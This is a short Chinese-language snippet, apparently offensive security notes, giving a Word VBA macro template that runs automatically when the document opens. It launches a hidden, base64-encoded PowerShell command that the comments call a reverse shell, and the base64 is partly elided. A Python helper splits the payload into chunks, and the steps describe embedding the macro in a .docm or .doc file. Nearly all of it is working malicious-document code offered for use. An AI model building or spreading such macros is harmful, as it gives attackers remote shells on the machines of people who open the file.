# 宏代码模版,其中的 str 为 powershell 反弹 shell 代码
# 注意:Office 宏代码字符串不能太长
# 需要将大字符串分割组合
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = "powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ"
Str = Str + "QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB"
Str = Str + "gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB"
...
Str = Str + "AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac"
CreateObject("Wscript.Shell").Run Str
End Sub
# 可通过 Python 执行分割
strs = "powershell.exe -nop -w hidden -e =="
n = 50
for i in range(0, len(strs), n):
print("Str = Str + " + '"' + strs[i:i+n] + '"')
# 之后在 word 文档中新建宏
# 注意:一定要选择在当前文档新建宏
# 其次:示例代码函数名为 MyMacro,如果完全照搬,新建的宏名称需要为 MyMacro
# 其次:保存的文件名称可以为:docm 或 doc